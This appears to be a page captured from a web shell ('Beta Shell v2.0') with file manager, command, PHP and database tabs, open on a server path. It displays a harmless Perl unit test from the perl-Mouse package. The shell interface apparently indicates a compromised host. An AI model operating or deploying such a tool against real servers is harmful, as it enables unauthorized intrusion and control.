Beta Shell
v2.0 ยท web2.us.cloudlogin.co
[FM]
[CMD]
[PHP]
[DB]
[INFO]
[SEC]
File Manager
~
/
usr
/
share
/
doc
/
perl-Mouse
/
t
/
990_deprecated
Upload
3 items
Name
Size
Perms
Modified
Actions
[ .. / .. ]
001-export_to_level.t
494 B
-rw-r--r--
2019-10-27 19:43:23
Edit
Del
Editing: 001-export_to_level.t
(494 B)
Path: /usr/share/doc/perl-Mouse/t/990_deprecated/001-export_to_level.t
Back
#!/usr/bin/perl use strict; use warnings; use Test::More tests => 3; BEGIN{ $SIG{__WARN__} = sub { $_[0] =~ /deprecated/ or warn @_ }; package Foo; use Mouse; sub import{ shift; Mouse->export_to_level(1, @_); } $INC{'Foo.pm'}++; } package A; use Test::More; use Foo qw(has); ok defined(&has), "export_to_level (DEPRECATED)"; ok!defined(&Bar::has), "export (DEPRECATED)"; Mouse->export('Bar', 'has'); ok defined(&Bar::has), "export (DEPRECATED)";